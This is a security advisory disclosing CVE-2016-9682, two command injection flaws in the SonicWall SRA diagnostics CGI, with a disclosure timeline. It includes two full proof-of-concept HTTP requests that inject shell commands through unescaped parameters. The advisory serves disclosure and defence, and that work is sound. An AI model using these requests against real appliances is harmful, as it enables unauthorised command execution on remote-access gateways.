Sonicwall Secure Remote Access (SRA) - Command Injection Vulnerabilities

   Vendor: Sonicwall (Dell)
  Product: Secure Remote Access (SRA)
  Version: 8.1.0.2-14sv
 Platform: Embedded Linux
Discovery: Russell Sanford of Critical Start (www.CriticalStart.com)
      CVE: cve-2016-9682


Tested against version 8.1.0.2-14sv on 11/28/16 (fully updated)


Description:
The Sonicwall Secure Remote Access server (ver 8.1.0.2-14sv) is vulnerable to two Remote Command Injection vulnerabilities in it's
web administrative interface. These vulnerabilies occur in the diagnostics CGI (/cgi-bin/diagnostics) component responsible for
emailing out information about the state of the system. The application doesn't properly escape the information passed in the 'tsrDeleteRestartedFile'
or 'currentTSREmailTo' variables before making a call to system() allowing for remote command injection.

Exploitation of this vulnerability yeilds shell access to the remote machine under the useraccount 'nobody'


Impact:
Remote Code Execution


Exploit #1 -----------------------------------------------------------------

GET /cgi-bin/diagnostics?tsrEmailCurrent=true&currentTSREmailTo=|date>/tmp/xort||a%20%23 HTTP/1.1
Host: 192.168.84.155
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://192.168.84.155/cgi-bin/diagnostics
Cookie: SessURL=https%3A%2F%2F192.168.84.155%2Fcgi-bin%2Fwelcome; svDomainName=LocalDomain; activeUserSessionsTable=0; ajaxUpdates=ON; activeNxSessionsTable=0; servicesBookmarksTable=1; policyListTable=1; portalListTable=1; domainListTable=0; period=1; activeTab=4; curUrl=license; swap=dEVySFNhTXl5V3NLSXNWUFUzVzBNNTJJQ1o2WXpCODNrOGZYUGxYazJOZz0=


Exploit #2 -----------------------------------------------------------------

GET /cgi-bin/diagnostics?tsrDeleteRestarted=true&tsrDeleteRestartedFile=|date>/tmp/xort2||a%20%23 HTTP/1.1
Host: 192.168.84.155
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://192.168.84.155/cgi-bin/diagnostics
Cookie: SessURL=https%3A%2F%2F192.168.84.155%2Fcgi-bin%2Fwelcome; svDomainName=LocalDomain; activeUserSessionsTable=0; ajaxUpdates=ON; activeNxSessionsTable=0; servicesBookmarksTable=1; policyListTable=1; portalListTable=1; domainListTable=0; period=1; activeTab=4; curUrl=sslcert; swap=dDdWMjhSYzlzMEZBd3kwQ29rTzZxQWFKdmxUSU5SRFVBQTRGRWk5UzJXVT0=


Timeline:
11/14/16 - Discovered in audit
11/20/16 - POC msf exploit written
11/28/16 - Contacted mitre for CVE
11/30/16 - CVE received from mitre (CVE-2016-9682)
11/30/16 - Dell notified through Sonicwall vuln reporting